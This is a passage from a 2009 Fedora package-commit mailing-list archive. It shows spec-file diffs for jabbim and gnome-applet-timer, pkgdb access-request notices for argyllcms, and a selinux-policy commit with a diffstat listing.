retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	7 Sep 2009 14:26:22 -0000	1.16
+++ .cvsignore	30 Oct 2009 13:47:20 -0000	1.17
@@ -1 +1 @@
-jabbim-svn20090907.tar.xz
+jabbim-svn20091030.tar.xz


Index: jabbim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jabbim/devel/jabbim.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- jabbim.spec	21 Sep 2009 15:00:37 -0000	1.37
+++ jabbim.spec	30 Oct 2009 13:47:21 -0000	1.38
@@ -1,8 +1,8 @@
-%global	svnrev	4223
-%global	svndate	20090907
+%global	svnrev	4233
+%global	svndate	20091030
 Name:		jabbim
 Version:	0.5
-Release:	0.11.svn%{svndate}%{?dist}
+Release:	0.12.svn%{svndate}%{?dist}
 Summary:	Jabber client for mere mortals
 
 Group:		Applications/Internet
@@ -13,9 +13,6 @@ URL:		http://dev.jabbim.cz/jabbim
 # tar -cJf jabbim-svn%{svndate}.tar.xz jabbim-svn%{svndate}/
 Source0:	jabbim-svn%{svndate}.tar.xz
 Patch0:		jabbim-0.4-autoupdate-disable-notification.diff
-Patch1:		jabbim-0.5-fix-compact-roster-drawing.diff
-Patch2:		jabbim-0.5-fix-message-loss.diff
-Patch3:		jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -44,9 +41,6 @@ with the advanced functionality provided
 %prep
 %setup -q -n jabbim-svn%{svndate}
 %patch0 -p1
-%patch1 -p1
-%patch2 -p1
-%patch3 -p1
 # replace runtime detection of the SVN revision with hardcoded info
 sed -i -e "s#\\(self.version = '0.5 SVN' + \\)\\(utils.getSvnVersion()\\)#\\1' - rev. %{svnrev}%{?dist}'#" jabbim.py
 
@@ -102,6 +96,10 @@ fi
 
 
 %changelog
+* Fri Oct 30 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.12.svn20091030
+- Update to svn rev. 4233 (bugfixes and German translation update)
+- Drop 3 upstreamed patches.
+
 * Mon Sep 21 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.11.svn20090907
 - Enable devconsole plugin, it's useful for debugging.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jabbim/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	7 Sep 2009 14:26:22 -0000	1.25
+++ sources	30 Oct 2009 13:47:21 -0000	1.26
@@ -1 +1 @@
-ceb797ba531211ccde339172da4f040d  jabbim-svn20090907.tar.xz
+eafd7950b9ad86c9a14026e1d6dbac45  jabbim-svn20091030.tar.xz


--- jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff DELETED ---


--- jabbim-0.5-fix-compact-roster-drawing.diff DELETED ---


--- jabbim-0.5-fix-message-loss.diff DELETED ---



From cwickert at fedoraproject.org  Fri Oct 30 13:49:37 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 13:49:37 +0000 (UTC)
Subject: rpms/gnome-applet-timer/F-12
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch, NONE,
	1.1 gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch,
	NONE, 1.1 gnome-applet-timer.spec, 1.33, 1.34
Message-ID: <20091030134937.CE9E211C00EF@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gnome-applet-timer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16073/F-12

Modified Files:
	gnome-applet-timer.spec 
Added Files:
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch 
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-5
- Use default sound form sound-theme-freedesktop (#531877)


gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch:
 config.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch ---
--- timer-applet-2.1.2/src/timerapplet/config.py.orig	2009-10-30 12:43:11.000000000 +0100
+++ timer-applet-2.1.2/src/timerapplet/config.py	2009-10-30 12:54:32.000000000 +0100
@@ -36,4 +36,4 @@
 POPUP_MENU_FILE_PATH = path.join(RESOURCES_DIR, 'TimerApplet.xml')
 ICON_PATH = path.join(IMAGES_DIR, 'timer-applet.png')
 PRESETS_PATH = path.expanduser('~/.gnome2/timer-applet/presets.xml')
-DEFAULT_SOUND_PATH = '/usr/share/sounds/gtk-events/clicked.wav'
+DEFAULT_SOUND_PATH = '/usr/share/sounds/freedesktop/stereo/bell.ogg'

gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch:
 config.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch ---
--- timer-applet-2.1.2/src/timerapplet/config.py.orig	2009-10-30 12:43:11.000000000 +0100
+++ timer-applet-2.1.2/src/timerapplet/config.py	2009-10-30 12:48:24.000000000 +0100
@@ -36,4 +36,4 @@
 POPUP_MENU_FILE_PATH = path.join(RESOURCES_DIR, 'TimerApplet.xml')
 ICON_PATH = path.join(IMAGES_DIR, 'timer-applet.png')
 PRESETS_PATH = path.expanduser('~/.gnome2/timer-applet/presets.xml')
-DEFAULT_SOUND_PATH = '/usr/share/sounds/gtk-events/clicked.wav'
+DEFAULT_SOUND_PATH = '/usr/share/sounds/freedesktop/stereo/alarm-clock-elapsed.oga'


Index: gnome-applet-timer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-applet-timer/F-12/gnome-applet-timer.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- gnome-applet-timer.spec	29 Oct 2009 20:29:34 -0000	1.33
+++ gnome-applet-timer.spec	30 Oct 2009 13:49:37 -0000	1.34
@@ -4,13 +4,15 @@
 
 Name:           gnome-applet-timer
 Version:        2.1.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        A countdown timer applet for the GNOME panel
 
 Group:          User Interface/Desktops
 License:        GPLv2+
 URL:            http://timerapplet.sourceforge.net/
 Source0:        http://download.sourceforge.net/timerapplet/timer-applet-%{version}.tar.gz
+Patch0:         gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch
+Patch1:         gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel >= 2.4
@@ -21,7 +23,11 @@ Requires:       gnome-python2-applet >= 
 Requires:       notify-python >= 0.1
 Requires:       dbus-python >= 0.80
 Requires:       gstreamer-python
+%if 0%{?fedora} >= 10
+Requires:       sound-theme-freedesktop
+%else
 Requires:       gnome-audio
+%endif
 
 %if "%{python_version}" < "2.5"
 Requires:       python-elementtree
@@ -44,6 +50,12 @@ Timer Applet is a countdown timer applet
 
 %prep
 %setup -q -n timer-applet-%{version}
+%if 0%{?fedora} == 11
+%patch0 -p1 -b .freedesktop-0.2
+%endif
+%if 0%{?fedora} >= 12
+%patch1 -p1 -b .freedesktop-0.7
+%endif
 
 
 %build
@@ -102,6 +114,9 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-5
+- Use default sound form sound-theme-freedesktop (#531877)
+
 * Thu Oct 29 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
 - Require gnome-audio (#531877)
 



From pkgdb at fedoraproject.org  Fri Oct 30 13:49:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:49:40 +0000
Subject: [pkgdb] argyllcms: rhughes has requested watchcommits
Message-ID: <20091030134940.7D18210F838@bastion2.fedora.phx.redhat.com>

rhughes has requested the watchcommits acl on argyllcms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From pkgdb at fedoraproject.org  Fri Oct 30 13:49:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:49:42 +0000
Subject: [pkgdb] argyllcms: rhughes has requested commit
Message-ID: <20091030134942.A4D3310F7BD@bastion2.fedora.phx.redhat.com>

rhughes has requested the commit acl on argyllcms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From cwickert at fedoraproject.org  Fri Oct 30 13:49:37 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 13:49:37 +0000 (UTC)
Subject: rpms/gnome-applet-timer/F-11
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch, NONE,
	1.1 gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch,
	NONE, 1.1 gnome-applet-timer.spec, 1.29, 1.30
Message-ID: <20091030134937.9A58411C00EA@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gnome-applet-timer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16073/F-11

Modified Files:
	gnome-applet-timer.spec 
Added Files:
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch 
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-5
- Use default sound form sound-theme-freedesktop (#531877)


gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch:
 config.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch ---
--- timer-applet-2.1.2/src/timerapplet/config.py.orig	2009-10-30 12:43:11.000000000 +0100
+++ timer-applet-2.1.2/src/timerapplet/config.py	2009-10-30 12:54:32.000000000 +0100
@@ -36,4 +36,4 @@
 POPUP_MENU_FILE_PATH = path.join(RESOURCES_DIR, 'TimerApplet.xml')
 ICON_PATH = path.join(IMAGES_DIR, 'timer-applet.png')
 PRESETS_PATH = path.expanduser('~/.gnome2/timer-applet/presets.xml')
-DEFAULT_SOUND_PATH = '/usr/share/sounds/gtk-events/clicked.wav'
+DEFAULT_SOUND_PATH = '/usr/share/sounds/freedesktop/stereo/bell.ogg'

gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch:
 config.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch ---
--- timer-applet-2.1.2/src/timerapplet/config.py.orig	2009-10-30 12:43:11.000000000 +0100
+++ timer-applet-2.1.2/src/timerapplet/config.py	2009-10-30 12:48:24.000000000 +0100
@@ -36,4 +36,4 @@
 POPUP_MENU_FILE_PATH = path.join(RESOURCES_DIR, 'TimerApplet.xml')
 ICON_PATH = path.join(IMAGES_DIR, 'timer-applet.png')
 PRESETS_PATH = path.expanduser('~/.gnome2/timer-applet/presets.xml')
-DEFAULT_SOUND_PATH = '/usr/share/sounds/gtk-events/clicked.wav'
+DEFAULT_SOUND_PATH = '/usr/share/sounds/freedesktop/stereo/alarm-clock-elapsed.oga'


Index: gnome-applet-timer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-applet-timer/F-11/gnome-applet-timer.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- gnome-applet-timer.spec	16 Apr 2009 13:58:47 -0000	1.29
+++ gnome-applet-timer.spec	30 Oct 2009 13:49:37 -0000	1.30
@@ -4,13 +4,15 @@
 
 Name:           gnome-applet-timer
 Version:        2.1.2
-Release:        2%{?dist}
+Release:        5%{?dist}
 Summary:        A countdown timer applet for the GNOME panel
 
 Group:          User Interface/Desktops
 License:        GPLv2+
 URL:            http://timerapplet.sourceforge.net/
 Source0:        http://download.sourceforge.net/timerapplet/timer-applet-%{version}.tar.gz
+Patch0:         gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch
+Patch1:         gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel >= 2.4
@@ -21,6 +23,11 @@ Requires:       gnome-python2-applet >= 
 Requires:       notify-python >= 0.1
 Requires:       dbus-python >= 0.80
 Requires:       gstreamer-python
+%if 0%{?fedora} >= 10
+Requires:       sound-theme-freedesktop
+%else
+Requires:       gnome-audio
+%endif
 
 %if "%{python_version}" < "2.5"
 Requires:       python-elementtree
@@ -43,6 +50,12 @@ Timer Applet is a countdown timer applet
 
 %prep
 %setup -q -n timer-applet-%{version}
+%if 0%{?fedora} == 11
+%patch0 -p1 -b .freedesktop-0.2
+%endif
+%if 0%{?fedora} >= 12
+%patch1 -p1 -b .freedesktop-0.7
+%endif
 
 
 %build
@@ -101,6 +114,15 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-5
+- Use default sound form sound-theme-freedesktop (#531877)
+
+* Thu Oct 29 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
+- Require gnome-audio (#531877)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Apr 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-2
 - Require gstreamer-python
 



From pkgdb at fedoraproject.org  Fri Oct 30 13:49:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:49:49 +0000
Subject: [pkgdb] argyllcms: rhughes has requested watchcommits
Message-ID: <20091030134949.1BA1110F7BD@bastion2.fedora.phx.redhat.com>

rhughes has requested the watchcommits acl on argyllcms (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From pkgdb at fedoraproject.org  Fri Oct 30 13:49:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:49:52 +0000
Subject: [pkgdb] argyllcms: rhughes has requested commit
Message-ID: <20091030134952.109F010F838@bastion2.fedora.phx.redhat.com>

rhughes has requested the commit acl on argyllcms (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From pkgdb at fedoraproject.org  Fri Oct 30 13:51:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:51:43 +0000
Subject: [pkgdb] argyllcms had acl change status
Message-ID: <20091030135143.7E7A610F7FF@bastion2.fedora.phx.redhat.com>

limb has set the watchcommits acl on argyllcms (Fedora devel) to Approved for rhughes

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From pkgdb at fedoraproject.org  Fri Oct 30 13:51:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:51:45 +0000
Subject: [pkgdb] argyllcms had acl change status
Message-ID: <20091030135145.8AA3910F839@bastion2.fedora.phx.redhat.com>

limb has set the commit acl on argyllcms (Fedora devel) to Approved for rhughes

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From pkgdb at fedoraproject.org  Fri Oct 30 13:51:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:51:52 +0000
Subject: [pkgdb] argyllcms had acl change status
Message-ID: <20091030135152.7A96410F7FF@bastion2.fedora.phx.redhat.com>

limb has set the watchcommits acl on argyllcms (Fedora 12) to Approved for rhughes

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From pkgdb at fedoraproject.org  Fri Oct 30 13:51:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:51:53 +0000
Subject: [pkgdb] argyllcms had acl change status
Message-ID: <20091030135153.A4A0B10F83E@bastion2.fedora.phx.redhat.com>

limb has set the commit acl on argyllcms (Fedora 12) to Approved for rhughes

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From dwalsh at fedoraproject.org  Fri Oct 30 13:52:36 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 30 Oct 2009 13:52:36 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.125,
	1.126 selinux-policy.spec, 1.958, 1.959
Message-ID: <20091030135236.82BB611C00EA@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17834

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-38
- Allow abrt to create link files in /var/cache/abrt


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    6 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   20 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   71 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   75 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   52 +
 policy/modules/apps/livecd.te             |   27 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   59 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   38 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  428 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    5 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   29 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  446 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.fc     |    3 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   21 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   44 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    2 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   23 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   89 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    4 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    3 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
